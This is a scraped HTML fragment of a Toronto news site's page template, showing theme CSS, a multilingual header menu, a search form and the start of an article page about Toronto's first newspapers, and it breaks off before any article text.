466<style>.tdi_27 .tdb-menu>li.current-menu-item>a,.tdi_27 .tdb-menu>li.current-menu-ancestor>a,.tdi_27 .tdb-menu>li.current-category-ancestor>a,.tdi_27 .tdb-menu>li.current-page-ancestor>a,.tdi_27 .tdb-menu>li:hover>a,.tdi_27 .tdb-menu>li.tdb-hover>a,.tdi_27 .tdb-menu-items-dropdown:hover .td-subcat-more{color:#e2687e}.tdi_27 .tdb-menu>li.current-menu-item>a .tdb-sub-menu-icon-svg svg,.tdi_27 .tdb-menu>li.current-menu-item>a .tdb-sub-menu-icon-svg svg *,.tdi_27 .tdb-menu>li.current-menu-ancestor>a .tdb-sub-menu-icon-svg svg,.tdi_27 .tdb-menu>li.current-menu-ancestor>a .tdb-sub-menu-icon-svg svg *,.tdi_27 .tdb-menu>li.current-category-ancestor>a .tdb-sub-menu-icon-svg svg,.tdi_27 .tdb-menu>li.current-category-ancestor>a .tdb-sub-menu-icon-svg svg *,.tdi_27 .tdb-menu>li.current-page-ancestor>a .tdb-sub-menu-icon-svg svg *,.tdi_27 .tdb-menu>li:hover>a .tdb-sub-menu-icon-svg svg,.tdi_27 .tdb-menu>li:hover>a .tdb-sub-menu-icon-svg svg *,.tdi_27 .tdb-menu>li.tdb-hover>a .tdb-sub-menu-icon-svg svg,.tdi_27 .tdb-menu>li.tdb-hover>a .tdb-sub-menu-icon-svg svg *,.tdi_27 .tdb-menu-items-dropdown:hover .td-subcat-more .tdb-menu-more-icon-svg svg,.tdi_27 .tdb-menu-items-dropdown:hover .td-subcat-more .tdb-menu-more-icon-svg svg *{fill:#e2687e}.tdi_27 .tdb-menu>li.current-menu-item>a:after,.tdi_27 .tdb-menu>li.current-menu-ancestor>a:after,.tdi_27 .tdb-menu>li.current-category-ancestor>a:after,.tdi_27 .tdb-menu>li.current-page-ancestor>a:after,.tdi_27 .tdb-menu>li:hover>a:after,.tdi_27 .tdb-menu>li.tdb-hover>a:after,.tdi_27 .tdb-menu-items-dropdown:hover .td-subcat-more:after{width:0px}.tdi_27 .tdb-menu>li>a:after,.tdi_27 .tdb-menu-items-dropdown .td-subcat-more:after{height:0px;bottom:50px}@media (min-width:1019px) and (max-width:1140px){.tdi_27 .tdb-menu>li>a:after,.tdi_27 .tdb-menu-items-dropdown .td-subcat-more:after{height:6px}}</style>
467<style>.tdi_27 .tdb-menu ul .tdb-normal-menu.current-menu-item>a,.tdi_27 .tdb-menu ul .tdb-normal-menu.current-menu-ancestor>a,.tdi_27 .tdb-menu ul .tdb-normal-menu.current-category-ancestor>a,.tdi_27 .tdb-menu ul .tdb-normal-menu.tdb-hover>a,.tdi_27 .tdb-menu ul .tdb-normal-menu:hover>a,.tdi_27 .tdb-menu-items-dropdown .td-pulldown-filter-list li:hover>a{color:#e2687e}.tdi_27 .tdb-menu ul .tdb-normal-menu.current-menu-item>a .tdb-sub-menu-icon-svg svg,.tdi_27 .tdb-menu ul .tdb-normal-menu.current-menu-item>a .tdb-sub-menu-icon-svg svg *,.tdi_27 .tdb-menu ul .tdb-normal-menu.current-menu-ancestor>a .tdb-sub-menu-icon-svg svg,.tdi_27 .tdb-menu ul .tdb-normal-menu.current-menu-ancestor>a .tdb-sub-menu-icon-svg svg *,.tdi_27 .tdb-menu ul .tdb-normal-menu.current-category-ancestor>a .tdb-sub-menu-icon-svg svg,.tdi_27 .tdb-menu ul .tdb-normal-menu.current-category-ancestor>a .tdb-sub-menu-icon-svg svg *,.tdi_27 .tdb-menu ul .tdb-normal-menu.tdb-hover>a .tdb-sub-menu-icon-svg svg,.tdi_27 .tdb-menu ul .tdb-normal-menu.tdb-hover>a .tdb-sub-menu-icon-svg svg *,.tdi_27 .tdb-menu ul .tdb-normal-menu:hover>a .tdb-sub-menu-icon-svg svg,.tdi_27 .tdb-menu ul .tdb-normal-menu:hover>a .tdb-sub-menu-icon-svg svg *,.tdi_27 .tdb-menu-items-dropdown .td-pulldown-filter-list li:hover>a .tdb-sub-menu-icon-svg svg,.tdi_27 .tdb-menu-items-dropdown .td-pulldown-filter-list li:hover>a .tdb-sub-menu-icon-svg svg *{fill:#e2687e;fill:#e2687e}.tdi_27 .tdb-menu ul .tdb-normal-menu.current-menu-item>a i,.tdi_27 .tdb-menu ul .tdb-normal-menu.current-menu-ancestor>a i,.tdi_27 .tdb-menu ul .tdb-normal-menu.current-category-ancestor>a i,.tdi_27 .tdb-menu ul .tdb-normal-menu.tdb-hover>a i,.tdi_27 .tdb-menu ul .tdb-normal-menu:hover>a i,.tdi_27 .tdb-menu-items-dropdown .td-pulldown-filter-list li:hover>a .tdb-sub-menu-icon-svg i,.tdi_27 .tdb-menu-items-dropdown .td-pulldown-filter-list li:hover>a .tdb-sub-menu-icon-svg i{color:#e2687e}</style><div id=tdi_27 class="td_block_inner td-fix-index"><div class="tdb-main-sub-icon-fake"><span class="tdb-sub-menu-icon tdb-sub-menu-icon-svg" ><svg version="1.1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024"><path d="M881.152 489.133h-738.335c-17.654 0-31.98 14.305-31.98 32 0 17.705 14.326 32.020 31.98 32.020h738.335c17.695 0 32.010-14.305 32.010-32.020 0-17.695-14.326-32-32.010-32zM881.152 256.367h-738.335c-17.654 0-31.98 14.316-31.98 31.99 0 17.705 14.326 32.061 31.98 32.061h738.335c17.695 0 32.010-14.346 32.010-32.061 0-17.674-14.326-31.99-32.010-31.99zM513.444 721.888h-370.596c-17.674 0-32.010 14.326-32.010 32.061 0 17.572 14.346 31.969 32.010 31.969h370.586c17.705 0 32.020-14.397 32.020-31.969 0.010-17.725-14.305-32.061-32.010-32.061z"></path></svg></span></div><ul id="menu-header-menu-en-3" class="tdb-block-menu tdb-menu tdb-menu-items-visible"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home tdb-cur-menu-item menu-item-first tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1709"><a href="https://toronto1.one/en"><div class="tdb-menu-item-text">Home</div></a></li>
468<li class="menu-item menu-item-type-taxonomy menu-item-object-category current-post-ancestor current-menu-parent current-post-parent tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1711">
468<a href="https://toronto1.one/en/business"><div class="tdb-menu-item-text">Business</div></a></li>
469<li class="menu-item menu-item-type-taxonomy menu-item-object-category tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1712"><a href="https://toronto1.one/en/education"><div class="tdb-menu-item-text">Education</div></a></li>
470<li class="menu-item menu-item-type-taxonomy menu-item-object-category tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1713"><a href="https://toronto1.one/en/jobs"><div class="tdb-menu-item-text">Work</div></a></li>
471<li class="menu-item menu-item-type-custom menu-item-object-custom tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1717"><a href="/en/articles"><div class="tdb-menu-item-text">Articles</div></a></li>
472<li class="menu-item wpml-ls-slot-102 wpml-ls-item wpml-ls-item-en wpml-ls-current-language wpml-ls-menu-item wpml-ls-first-item menu-item-type-wpml_ls_menu_item menu-item-object-wpml_ls_menu_item tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-wpml-ls-102-en"><a title="Switch to EN" href="https://toronto1.one/en/eternal/what-were-torontos-first-newspapers-about-3775"><div class="tdb-menu-item-text"><span class="wpml-ls-native" lang="en">EN</span></div></a></li>
473<li class="menu-item wpml-ls-slot-102 wpml-ls-item wpml-ls-item-uk wpml-ls-menu-item menu-item-type-wpml_ls_menu_item menu-item-object-wpml_ls_menu_item tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-wpml-ls-102-uk"><a title="Switch to UA" href="https://toronto1.one/uk/eternal/pro-shho-buli-pershi-gazeti-toronto-3196"><div class="tdb-menu-item-text"><span class="wpml-ls-native" lang="uk">UA</span></div></a></li>
474<li class="menu-item wpml-ls-slot-102 wpml-ls-item wpml-ls-item-ru wpml-ls-menu-item wpml-ls-last-item menu-item-type-wpml_ls_menu_item menu-item-object-wpml_ls_menu_item tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-wpml-ls-102-ru"><a title="Switch to RU" href="https://toronto1.one/ru/eternal/o-chem-byli-pervye-gazety-toronto-3220"><div class="tdb-menu-item-text"><span class="wpml-ls-native" lang="ru">RU</span></div></a></li>
475</ul></div></div><div class="td_block_wrap tdb_header_search tdi_30 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_30" >
476<style>.tdi_30{margin-left:24px!important;border-color:rgba(0,0,0,0.12)!important;border-style:solid!important;border-width:0!important}@media (min-width:768px) and (max-width:1018px){.tdi_30{margin-left:15px!important}}@media (min-width:1019px) and (max-width:1140px){.tdi_30{padding-top:3px!important}}</style>
477<style>.tdb_module_header{width:100%;padding-bottom:0}.tdb_module_header .td-module-container{display:flex;flex-direction:column;position:relative}.tdb_module_header .td-module-container:before{content:'';position:absolute;bottom:0;left:0;width:100%;height:1px}.tdb_module_header .td-image-wrap{display:block;position:relative;padding-bottom:70%}.tdb_module_header .td-image-container{position:relative;width:100%;flex:0 0 auto}.tdb_module_header .td-module-thumb{margin-bottom:0}.tdb_module_header .td-module-meta-info{width:100%;margin-bottom:0;padding:7px 0 0 0;z-index:1;border:0 solid #eaeaea;min-height:0}.tdb_module_header .entry-title{margin:0;font-size:13px;font-weight:500;line-height:18px}.tdb_module_header .td-post-author-name,.tdb_module_header .td-post-date,.tdb_module_header .td-module-comments{vertical-align:text-top}.tdb_module_header .td-post-author-name,.tdb_module_header .td-post-date{top:3px}.tdb_module_header .td-thumb-css{width:100%;height:100%;position:absolute;background-size:cover;background-position:center center}.tdb_module_header .td-category-pos-image .td-post-category:not(.td-post-extra-category),.tdb_module_header .td-post-vid-time{position:absolute;z-index:2;bottom:0}.tdb_module_header .td-category-pos-image .td-post-category:not(.td-post-extra-category){left:0}.tdb_module_header .td-post-vid-time{right:0;background-color:#000;padding:3px 6px 4px;font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:10px;font-weight:600;line-height:1;color:#fff}.tdb_module_header .td-excerpt{margin:20px 0 0;line-height:21px}.tdb_module_header .td-read-more{margin:20px 0 0}.tdb_module_search .tdb-author-photo{display:inline-block}.tdb_module_search .tdb-author-photo,.tdb_module_search .tdb-author-photo img{vertical-align:middle}.tdb_module_search .td-post-author-name{white-space:normal}.tdb_header_search{margin-bottom:0;clear:none}.tdb_header_search .tdb-block-inner{position:relative;display:inline-block;width:100%}.tdb_header_search .tdb-search-form{position:relative;padding:20px;border-width:3px 0 0;border-style:solid;border-color:var(--td_theme_color,#4db2ec);pointer-events:auto}.tdb_header_search .tdb-search-form:before{content:'';position:absolute;top:0;left:0;width:100%;height:100%;background-color:#fff}.tdb_header_search .tdb-search-form-inner{position:relative;display:flex;background-color:#fff}.tdb_header_search .tdb-search-form-inner:after{content:'';position:absolute;top:0;left:0;width:100%;height:100%;border:1px solid #e1e1e1;pointer-events:none}.tdb_header_search .tdb-head-search-placeholder{position:absolute;top:50%;transform:translateY(-50%);padding:3px 9px;font-size:12px;line-height:21px;color:#999;-webkit-transition:all 0.3s ease;transition:all 0.3s ease;pointer-events:none}.tdb_header_search .tdb-head-search-form-input:focus+.tdb-head-search-placeholder,.tdb-head-search-form-input:not(:placeholder-shown)~.tdb-head-search-placeholder{opacity:0}
477.tdb_header_search .tdb-head-search-form-btn,.tdb_header_search .tdb-head-search-form-input{height:auto;min-height:32px}.tdb_header_search .tdb-head-search-form-input{color:#444;flex:1;background-color:transparent;border:0}.tdb_header_search .tdb-head-search-form-input.tdb-head-search-nofocus{color:transparent;text-shadow:0 0 0 #444}.tdb_header_search .tdb-head-search-form-btn{margin-bottom:0;padding:0 15px;background-color:#222222;font-family:var(--td_default_google_font_2,'Roboto',sans-serif);font-size:13px;font-weight:500;color:#fff;-webkit-transition:all 0.3s ease;transition:all 0.3s ease;z-index:1}.tdb_header_search .tdb-head-search-form-btn:hover{background-color:var(--td_theme_color,#4db2ec)}.tdb_header_search .tdb-head-search-form-btn i,.tdb_header_search .tdb-head-search-form-btn span{display:inline-block;vertical-align:middle}.tdb_header_search .tdb-head-search-form-btn i{font-size:12px}.tdb_header_search .tdb-head-search-form-btn .tdb-head-search-form-btn-icon{position:relative}.tdb_header_search .tdb-head-search-form-btn .tdb-head-search-form-btn-icon-svg{line-height:0}.tdb_header_search .tdb-head-search-form-btn svg{width:12px;height:auto}.tdb_header_search .tdb-head-search-form-btn svg,.tdb_header_search .tdb-head-search-form-btn svg *{fill:#fff;-webkit-transition:all 0.3s ease;transition:all 0.3s ease}.tdb_header_search .tdb-aj-search-results{padding:20px;background-color:rgba(144,144,144,0.02);border-width:1px 0;border-style:solid;border-color:#ededed;background-color:#fff}.tdb_header_search .tdb-aj-search-results .td_module_wrap:last-child{margin-bottom:0;padding-bottom:0}.tdb_header_search .tdb-aj-search-results .td_module_wrap:last-child .td-module-container:before{display:none}.tdb_header_search .tdb-aj-search-inner{display:flex;flex-wrap:wrap;*zoom:1}.tdb_header_search .tdb-aj-search-inner:before,.tdb_header_search .tdb-aj-search-inner:after{display:table;content:'';line-height:0}.tdb_header_search .tdb-aj-search-inner:after{clear:both}.tdb_header_search .result-msg{padding:4px 0 6px 0;font-family:var(--td_default_google_font_2,'Roboto',sans-serif);font-size:12px;font-style:italic;background-color:#fff}.tdb_header_search .result-msg a{color:#222}.tdb_header_search .result-msg a:hover{color:var(--td_theme_color,#4db2ec)}.tdb_header_search .td-module-meta-info,.tdb_header_search .td-next-prev-wrap{text-align:left}.tdb_header_search .td_module_wrap:hover .entry-title a{color:var(--td_theme_color,#4db2ec)}.tdb_header_search .tdb-aj-cur-element .entry-title a{color:var(--td_theme_color,#4db2ec)}.tdc-dragged .tdb-head-search-btn:after,.tdc-dragged .tdb-drop-down-search{visibility:hidden!important;opacity:0!important;-webkit-transition:all 0.3s ease;transition:all 0.3s ease}.tdb-header-search-trigger-enabled{z-index:1000}.tdb-header-search-trigger-enabled .tdb-head-search-btn{display:flex;align-items:center;position:relative;text-align:center;color:var(--td_theme_color,#4db2ec)}.tdb-header-search-trigger-enabled .tdb-head-search-btn:after{visibility:hidden;opacity:0;content:'';display:block;position:absolute;bottom:0;left:0;right:0;margin:0 auto;width:0;height:0;border-style:solid;border-width:0 6.5px 7px 6.5px;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0);-webkit-transition:all 0.4s ease;transition:all 0.4s ease;border-color:transparent transparent var(--td_theme_color,#4db2ec) transparent}.tdb-header-search-trigger-enabled .tdb-drop-down-search-open+.tdb-head-search-btn:after{visibility:visible;opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.tdb-header-search-trigger-enabled .tdb-search-icon,.tdb-header-search-trigger-enabled .tdb-search-txt,.tdb-header-search-trigger-enabled .tdb-search-icon-svg svg *{-webkit-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out}.tdb-header-search-trigger-enabled .tdb-search-icon-svg{display:flex;align-items:center;justify-content:center}.tdb-header-search-trigger-enabled .tdb-search-icon-svg svg{height:auto}.tdb-header-search-trigger-enabled .tdb-search-icon-svg svg,.tdb-header-search-trigger-enabled .tdb-search-icon-svg svg *{fill:var
477(--td_theme_color,#4db2ec)}.tdb-header-search-trigger-enabled .tdb-search-txt{position:relative;line-height:1}.tdb-header-search-trigger-enabled .tdb-drop-down-search{visibility:hidden;opacity:0;position:absolute;top:100%;left:0;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0);-webkit-transition:all 0.4s ease;transition:all 0.4s ease;pointer-events:none;z-index:10}.tdb-header-search-trigger-enabled .tdb-drop-down-search-open{visibility:visible;opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.tdb-header-search-trigger-enabled .tdb-drop-down-search-inner{position:relative;max-width:300px;pointer-events:all}.rtl .tdb-header-search-trigger-enabled .tdb-drop-down-search-inner{margin-left:0;margin-right:auto}.tdb_header_search .tdb-aj-srs-title{margin-bottom:10px;font-family:var(--td_default_google_font_2,'Roboto',sans-serif);font-weight:500;font-size:13px;line-height:1.3;color:#888}.tdb_header_search .tdb-aj-sr-taxonomies{display:flex;flex-direction:column}.tdb_header_search .tdb-aj-sr-taxonomy{font-family:var(--td_default_google_font_2,'Roboto',sans-serif);font-size:13px;font-weight:500;line-height:18px;color:#111}.tdb_header_search .tdb-aj-sr-taxonomy:not(:last-child){margin-bottom:5px}.tdb_header_search .tdb-aj-sr-taxonomy:hover{color:var(--td_theme_color,#4db2ec)}.tdi_30 .tdb-head-search-btn i{font-size:20px;width:22px;height:22px;line-height:22px;color:#172842}.tdi_30 .tdb-head-search-btn svg{width:20px}.tdi_30 .tdb-search-icon-svg{width:22px;height:22px}.tdi_30{display:inline-block}.tdi_30 .tdb-search-txt{top:0px;margin-right:6px;font-family:Montserrat!important;font-size:16px!important;font-weight:800!important}.tdi_30 .tdb-drop-down-search{top:calc(100% + 18px);left:auto;right:0}.tdi_30 .tdb-head-search-btn:after{bottom:-18px;border-bottom-color:#ffffff}.tdi_30 .tdb-drop-down-search .tdb-drop-down-search-inner{max-width:900px}.tdi_30 .tdb-search-form{padding:25px;border-width:0px}body .tdi_30 .tdb-drop-down-search-inner,.tdi_30 .tdb-search-form,.tdi_30 .tdb-aj-search{margin-left:auto;margin-right:0}.tdi_30 .tdb-head-search-form-input,.tdi_30 .tdb-head-search-placeholder{padding:6px 10px}.tdi_30 .tdb-search-form-inner:after{border-width:1px 0 1px 1px;border-color:rgba(211,219,226,0.7)}.tdi_30 .tdb-head-search-form-btn-icon{top:0px}.tdi_30 .tdb-head-search-form-btn{padding:5px 18px 6px;background-color:#e2687e;text-transform:uppercase!important}.tdi_30 .tdb-aj-search-results{padding:0 25px 15px;border-width:0px}.tdi_30 .result-msg{padding:10px 25px 20px;text-align:center;font-family:Montserrat!important;font-size:14px!important;font-style:normal!important;font-weight:700!important;text-transform:uppercase!important}.tdi_30 .tdb-head-search-btn svg,.tdi_30 .tdb-head-search-btn svg *{fill:#172842}.tdi_30 .tdb-head-search-btn:hover i{color:#e2687e}.tdi_30 .tdb-head-search-btn:hover svg,.tdi_30 .tdb-head-search-btn:hover svg *{fill:#e2687e}.tdi_30 .tdb-head-search-btn .tdb-search-txt{color:#172842}.tdi_30 .tdb-head-search-btn:hover .tdb-search-txt{color:#e2687e}.tdi_30 .tdb-drop-down-search-inner{box-shadow:0px 8px 20px 0px rgba(22,35,58,0.1)}.tdi_30 .tdb-head-search-form-input{color:#172842;font-family:Montserrat!important;font-size:14px!important;font-weight:700!important}.tdi_30 .tdb-head-search-form-input.tdb-head-search-nofocus{text-shadow:0 0 0 #172842}.tdi_30 .tdb-head-search-placeholder{color:#bcccd6;font-family:Montserrat!important;font-size:14px!important;font-weight:700!important}.tdi_30 .tdb-head-search-form-input:focus+.tdb-head-search-placeholder,.tdb-head-search-form-input:not(:placeholder-shown)~.tdb-head-search-placeholder{opacity:0.4}.tdi_30 .tdb-head-search-form-btn:hover{background-color:#172842}.tdi_30 .result-msg,.tdi_30 .result-msg a{color:#172842}.tdi_30 .result-msg a:hover{color:#e2687e}.tdi_30 .td_module_wrap{width:33.33333333%;float:left;padding-left:6px;padding-right:6px;padding-bottom:0px;margin-bottom:0px}.tdi_30 .td_module_wrap:nth-last-child(-n+3){margin-bottom:0;padding-bottom:0}.tdi_30 .td_module_wrap:nth-last-child(-n+3) .td-module-container:before{display:none}.tdi_30 .tdb-aj-search-inner{margin-left:-6px;margin-right:-6px}.tdi_30 .td-module-container:before{bottom:-0px;border-color:#eaeaea}.tdi_30 .td-module-container{border-color:#eaeaea;flex-direction:column}.tdi_30 .entry-thumb{background-position:center 30%}.tdi_30 .td-image-wrap{padding-bottom:60%}.tdi_30 .td-image-container{flex:0 0 100%;width:100%;display:block;order:0}.ie10 .tdi_30 .td-image-container,.ie11 .tdi_30 .td-image-container{flex:0 0 auto}.ie10 .tdi_30 .td-module-meta-info,.ie11 .tdi_30 .td-module-meta-info{flex:auto}.tdi_30 .td-post-vid-time{display:block}.tdi_30 .td-module-meta-info{padding:25px 20px;border-color:#eaeaea;box-shadow:0px 4px 16px 0px rgba(22,35,58,0.1)}.tdi_30 .entry-title{margin:15px 0 0;font-family:Montserrat!important;font-size:16px!important;line-height:1.3!important;font-weight:800!important}.tdi_30 .td-excerpt{margin:15px 0;column-count:1;column-gap:48px;color:#90a0af;font-family:Volkhov!important;font-size:13px!important;line-height:1.6!important}.tdi_30 .td-post-category{padding:0px;background-color:rgba(255,255,255,0);color:#90a0af;font-family:Montserrat!important;font-size:12px!important;font-weight:700!important;text-transform:uppercase!important}.tdi_30 .td-read-more{display:none}.tdi_30 .td-author-date{display:inline}
477.tdi_30 .td-post-date,.tdi_30 .td-post-author-name span{display:none;color:#90a0af}.tdi_30 .entry-review-stars{display:none}.tdi_30 .td-icon-star,.tdi_30 .td-icon-star-empty,.tdi_30 .td-icon-star-half{font-size:15px}.tdi_30 .td-module-comments{display:none}.tdi_30 .tdb-author-photo .avatar{width:26px;height:26px;margin-right:6px;border-radius:50%}.tdi_30 .td-post-category:hover{background-color:rgba(255,255,255,0)!important;color:#e2687e}.tdi_30 .td-module-title a{color:#172842;box-shadow:inset 0 0 0 0 #000}body .tdi_30 .td_module_wrap:hover .td-module-title a,.tdi_30 .tdb-aj-cur-element .entry-title a{color:#e2687e!important}.tdi_30 .td-post-author-name a{color:#90a0af}.tdi_30 .td-post-author-name:hover a{color:#e2687e}.tdi_30 .td-editor-date,.tdi_30 .td-editor-date .td-post-author-name,.tdi_30 .td-module-comments a{font-family:Montserrat!important;font-size:12px!important;font-weight:700!important;text-transform:uppercase!important}@media (min-width:768px){.tdi_30 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}@media (min-width:1019px) and (max-width:1140px){.tdi_30 .tdb-drop-down-search .tdb-drop-down-search-inner{max-width:640px}.tdi_30 .td_module_wrap{padding-bottom:0px!important;margin-bottom:0px!important;padding-left:5px;padding-right:5px;padding-bottom:0px;margin-bottom:0px}.tdi_30 .td_module_wrap:nth-last-child(-n+3){margin-bottom:0!important;padding-bottom:0!important}.tdi_30 .td_module_wrap .td-module-container:before{display:block!important}.tdi_30 .td_module_wrap:nth-last-child(-n+3) .td-module-container:before{display:none!important}.tdi_30 .tdb-aj-search-inner{margin-left:-5px;margin-right:-5px}.tdi_30 .td-module-container:before{bottom:-0px}.tdi_30 .td-module-meta-info{padding:20px 15px}.tdi_30 .entry-title{margin:10px 0 0 0;font-size:14px!important}.tdi_30 .td-excerpt{margin:10px 0}.tdi_30 .td-module-title a{box-shadow:inset 0 0 0 0 #000}@media (min-width:768px){.tdi_30 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}}@media (min-width:768px) and (max-width:1018px){.tdi_30 .tdb-head-search-btn i{font-size:16px;width:16px;height:16px;line-height:16px}.tdi_30 .tdb-head-search-btn svg{width:16px}.tdi_30 .tdb-search-icon-svg{width:16px;height:16px}.tdi_30 .tdb-drop-down-search{top:calc(100% + 14px)}.tdi_30 .tdb-head-search-btn:after{bottom:-14px}.tdi_30 .tdb-drop-down-search .tdb-drop-down-search-inner{max-width:520px}.tdi_30 .tdb-search-form{padding:15px}.tdi_30 .tdb-head-search-form-input,.tdi_30 .tdb-head-search-placeholder{padding:2px 8px}.tdi_30 .tdb-aj-search-results{padding:0 15px 15px}.tdi_30 .tdb-search-txt{font-size:14px!important}.tdi_30 .tdb-head-search-form-input{font-size:12px!important}.tdi_30 .tdb-head-search-placeholder{font-size:12px!important}.tdi_30 .result-msg{font-size:12px!important}.tdi_30 .td_module_wrap{padding-bottom:0px!important;margin-bottom:0px!important;padding-left:5px;padding-right:5px;padding-bottom:0px;margin-bottom:0px}.tdi_30 .td_module_wrap:nth-last-child(-n+3){margin-bottom:0!important;padding-bottom:0!important}.tdi_30 .td_module_wrap .td-module-container:before{display:block!important}.tdi_30 .td_module_wrap:nth-last-child(-n+3) .td-module-container:before{display:none!important}.tdi_30 .tdb-aj-search-inner{margin-left:-5px;margin-right:-5px}.tdi_30 .td-module-container:before{bottom:-0px}.tdi_30 .td-module-meta-info{padding:15px 10px}.tdi_30 .entry-title{margin:10px 0 0;font-size:12px!important}.tdi_30 .td-excerpt{margin:10px 0;font-size:11px!important}.tdi_30 .td-module-title a{box-shadow:inset 0 0 0 0 #000}.tdi_30 .td-post-category{font-size:10px!important}.tdi_30 .td-editor-date,.tdi_30 .td-editor-date .td-post-author-name,.tdi_30 .td-module-comments a{font-size:10px!important}@media (min-width:768px){.tdi_30 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}}@media (max-width:767px){.tdi_30 .td_module_wrap{padding-bottom:0px!important;margin-bottom:0px!important;padding-bottom:0px;margin-bottom:0px}.tdi_30 .td_module_wrap:nth-last-child(-n+3){margin-bottom:0!important;padding-bottom:0!important}.tdi_30 .td_module_wrap .td-module-container:before{display:block!important}.tdi_30 .td_module_wrap:nth-last-child(-n+3) .td-module-container:before{display:none!important}.tdi_30 .td-module-container:before{bottom:-0px}.tdi_30 .td-module-title a{box-shadow:inset 0 0 0 0 #000}@media (min-width:768px){.tdi_30 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-drop-down-search" aria-labelledby="td-header-search-button"><div class="tdb-drop-down-search-inner"><form method="get" class="tdb-search-form" action="https://toronto1.one/en"><div class="tdb-search-form-inner"><input class="tdb-head-search-form-input" placeholder=" " type="text" value="" name="s" autocomplete="off" /><button class="wpb_button wpb_btn-inverse btn tdb-head-search-form-btn" title="Search" type="submit"><span>Go</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Search" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><span class="tdb-search-icon tdb-search-icon-svg" ><svg version="1.1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024">
477<path d="M958.484 910.161l-134.543-134.502c63.078-76.595 94.761-170.455 94.7-264.141 0.061-106.414-40.755-213.228-121.917-294.431-81.224-81.183-187.965-121.958-294.349-121.938-106.445-0.020-213.176 40.796-294.38 121.938-81.224 81.203-122.020 188.017-121.979 294.369-0.041 106.445 40.755 213.166 121.979 294.287 81.203 81.285 187.945 122.020 294.38 121.979 93.727 0.041 187.607-31.642 264.11-94.659l134.564 134.564 57.436-57.467zM265.452 748.348c-65.556-65.495-98.14-150.999-98.181-236.882 0.041-85.832 32.625-171.346 98.181-236.913 65.556-65.536 151.060-98.099 236.923-98.14 85.821 0.041 171.346 32.604 236.902 98.14 65.495 65.516 98.099 151.122 98.099 236.913 0 85.924-32.604 171.387-98.099 236.882-65.556 65.495-150.999 98.099-236.902 98.099-85.862 0-171.356-32.604-236.923-98.099z"></path></svg></span></a></div></div> <!-- ./block --><div class="tdm_block td_block_wrap tdm_block_button tdi_31 tdm-block-button-inline tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_31"     >
478<style>.tdi_31{margin-left:30px!important}@media (min-width:768px) and (max-width:1018px){.tdi_31{margin-left:15px!important}}</style>
479<style>.tdm_block.tdm_block_button{margin-bottom:0}.tdm_block.tdm_block_button .tds-button{line-height:0}.tdm_block.tdm_block_button.tdm-block-button-inline{display:inline-block}.tdm_block.tdm_block_button.tdm-block-button-full,.tdm_block.tdm_block_button.tdm-block-button-full .tdm-btn{display:block}@media (min-width:768px) and (max-width:1018px){.tdi_31 .tdm-btn{height:auto;padding:0 16px}}</style>
480<style>body .tdi_32{background-color:#49c8d1}body .tdi_32:before{background-color:#e2687e}body .tdi_32:hover:before{opacity:1}.tdi_32 .tdm-btn-icon:last-child{margin-left:0px}.tdi_32{font-family:Montserrat!important;font-size:14px!important;font-weight:700!important;text-transform:uppercase!important}@media (min-width:768px) and (max-width:1018px){.tdi_32{padding:0 16px;height:auto;line-height:1;font-size:12px!important;line-height:3.6!important;height:auto}}</style><div class="tds-button td-fix-index"><a 
481                href="/wp-login.php" 
482                 title=" "
483                class="tds-button1 tdm-btn tdm-btn-md tdi_32 " ><span class="tdm-btn-text"> </span><i class="tdm-btn-icon td-icon-logout"></i></a></div></div></div></div></div></div></div></div></div></div></div></div>                    </div>
484                            </div>
485            
486    <div id="tdb-autoload-article" data-autoload="on" data-autoload-org-post-id="3775" data-autoload-type="" data-autoload-count="5" >
487    <style>
488        .tdb-autoload-wrap {
489            position: relative;
490        }
491        .tdb-autoload-wrap .tdb-loader-autoload {
492            top: auto !important;
493            bottom: 50px !important;
494        }
495        .tdb-autoload-debug {
496            display: none;
497            width: 1068px;
498            margin-right: auto;
499            margin-left: auto;
500        }
501        @media (min-width: 1019px) and (max-width: 1018px) {
502            .tdb-autoload-debug {
503                width: 740px;
504            }
505        }
506        @media (max-width: 767px) {
507            .tdb-autoload-debug {
508                display: none;
509                width: 100%;
510                padding-left: 20px;
511                padding-right: 20px;
512            }
513        }
514    </style>
515
516        <div class="td-main-content-wrap td-container-wrap">
517            <div class="tdc-content-wrap tdb-autoload-wrap">
518                <article id="template-id-453"
519                    class="post-453 tdb_templates type-tdb_templates status-publish post"                    itemscope itemtype="https://schema.org/Article"                     data-post-url="https://toronto1.one/en/eternal/what-were-torontos-first-newspapers-about-3775"                     data-post-edit-url=""                     data-post-title="What Were Toronto’s First Newsp
519apers About?"                >
520	                                    <!-- LOGIN MODAL -->
521
522                <div id="login-form" class="white-popup-block mfp-hide mfp-with-anim td-login-modal-wrap">
523                    <div class="td-login-wrap">
524                        <a href="#" aria-label="Back" class="td-back-button"><i class="td-icon-modal-back"></i></a>
525                        <div id="td-login-div" class="td-login-form-div td-display-block">
